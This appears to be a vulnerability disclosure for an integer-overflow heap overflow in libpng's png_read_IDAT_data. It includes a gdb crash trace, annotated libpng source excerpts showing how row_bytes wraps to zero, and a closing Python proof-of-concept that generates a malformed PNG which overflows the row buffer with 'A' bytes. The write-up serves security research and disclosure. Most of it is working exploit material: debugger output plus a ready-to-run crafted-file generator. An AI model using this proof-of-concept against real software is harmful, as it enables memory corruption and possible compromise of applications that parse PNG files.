Program received signal SIGSEGV, Segmentation fault.
0xb7eb4f71 in ?? () from /lib/i386-linux-gnu/i686/cmov/libc.so.6
(gdb) x/i $pc
=> 0xb7eb4f71: movdqu %xmm0,(%esi)
(gdb) i r esi
esi 0x41414141 1094795585
(gdb) i r xmm0
xmm0 {v4_float = {0xc, 0xc, 0xc, 0xc}, v2_double = {0x228282, 0x228282}, v16_int8 = {0x41 <repeats 16
times>},
v8_int16 = {0x4141, 0x4141, 0x4141, 0x4141, 0x4141, 0x4141, 0x4141, 0x4141}, v4_int32 = {0x41414141, 0x41414141,
0x41414141, 0x41414141}, v2_int64 = {0x4141414141414141, 0x4141414141414141},
uint128 = 0x41414141414141414141414141414141}
# pngrutil.c :: png_read_IDAT_data :: line 4018
ret = inflate(&png_ptr->zstream, Z_NO_FLUSH);
[0-3] = png_ptr->width
[4-7] = png_ptr->height
[8] = png_ptr->bit_depth
[9] = png_ptr->color_type
[10] = png_ptr->compression_type
[11] = png_ptr->filter_type
[12] = png_ptr->interlace_type
# pngrutil.c :: png_read_IDAT_data :: line 3941
void
png_read_IDAT_data(png_structrp png_ptr, png_bytep output,
png_alloc_size_t avail_out)
/
* png_bytep output
* \-> a buffer to decompress the IDAT data into
* png_alloc_size_t avail_out
* \-> The size of output in bytes
*/
# pngrutil.c :: png_read_IDAT_data :: line 3984
buffer = png_read_buffer(png_ptr, avail_in, 0 );
# pngrutil.c :: png_read_IDAT_data :: line 3989
png_ptr->zstream.next_in = buffer;
# pngrutil.c :: png_read_IDAT_data :: line 3946
png_ptr->zstream.next_out = output;
# pngrutil.c :: png_read_IDAT_data :: line 4002
png_ptr->zstream.avail_out = out ;
pngrutil.c :: png_read_IDAT_data :: line 4018
ret = inflate(&png_ptr->zstream, Z_NO_FLUSH);
# pngread.c :: png_read_row :: line 534
png_read_IDAT_data(png_ptr, png_ptr->row_buf, row_info.rowbytes + 1);
# pngrutil.c :: png_read_IDAT_data :: line 3941
void
png_read_IDAT_data(png_structrp png_ptr, png_bytep output, png_alloc_size_t avail_out)
# pngread.c :: png_read_row :: line 397
row_info.rowbytes = PNG_ROWBYTES(row_info.pixel_depth, row_info.width);
# pngread.c :: png_read_row :: line 396
row_info.pixel_depth = png_ptr->pixel_depth;
# pngrutil.c :: png_handle_IHDR :: line 855
png_ptr->pixel_depth = (png_byte)(png_ptr->bit_depth * png_ptr->channels);
if (color_type == PNG_COLOR_TYPE_RGB)
png_ptr->channels = 3
else if (color_type == PNG_COLOR_TYPE_GRAY_ALPHA)
png_ptr->channels = 2
else if (color_type == PNG_COLOR_TYPE_RGB_ALPHA)
png_ptr->channels = 4
else
png_ptr->channels = 1
# pngread.c :: png_read_row :: line 392
row_info.width = png_ptr->iwidth;
# pngrutil.c :: png_read_start_row :: line 4217
png_ptr->iwidth = (png_ptr->width +
png_pass_inc[png_ptr->pass] - 1 -
png_pass_start[png_ptr->pass]) /
png_pass_inc[png_ptr->pass];
# pngread.c :: png_read_row :: line 397
row_info.rowbytes = PNG_ROWBYTES(row_info.pixel_depth, row_info.width);
# pngpriv.h :: line 659
#define PNG_ROWBYTES(pixel_bits, width) \
((pixel_bits) >= 8 ? \
((png_size_t)(width) * (((png_size_t)(pixel_bits)) >> 3)) : \
(( ((png_size_t)(width) * ((png_size_t)(pixel_bits))) + 7) >> 3) )
# pngstruct.h :: line 225
png_bytep row_buf;
# pngrutil.c :: png_read_start_row :: line 4403
png_ptr->big_row_buf = (png_bytep)png_malloc(png_ptr, row_bytes + 48);
# pngrutil.c :: png_read_start_row :: line 4427
png_ptr->row_buf = png_ptr->big_row_buf + 31;
# pngrutil :: png_read_start_row :: line 4427
row_bytes = ((png_ptr->width + 7) & ~((png_uint_32)7));
row_bytes = PNG_ROWBYTES(max_pixel_depth, row_bytes) +
1 + ((max_pixel_depth + 7) >> 3);
row_bytes = 0x20000000 * (64 >> 3) = 0;
##################
# HAPPY FUN CODE #
##################
import zlib
import struct
import sys
OVERFLOW_DATA = 'A' * 4096
IDAT_DATA = zlib.compress(OVERFLOW_DATA)
IDAT_SIZE = struct .pack( '>i' , len(IDAT_DATA))
IDAT_CRC32 = struct .pack( '>i' , zlib.crc32( 'IDAT' + IDAT_DATA))
HEADER = '\x89\x50\x4e\x47\x0d\x0a\x1a\x0a'
IHDR = '\x00\x00\x00\x0d\x49\x48\x44\x52\x20\x00\x00\x00\x00\x00\x00\x20\x10\x06\x00\x00\x01\xa8\xce\xde\x04'
IDAT = IDAT_SIZE + 'IDAT' + IDAT_DATA + IDAT_CRC32
IEND = '\x00\x00\x00\x00\x49\x45\x4e\x44'
sys.stdout.write(HEADER + IHDR + IDAT + IEND)
|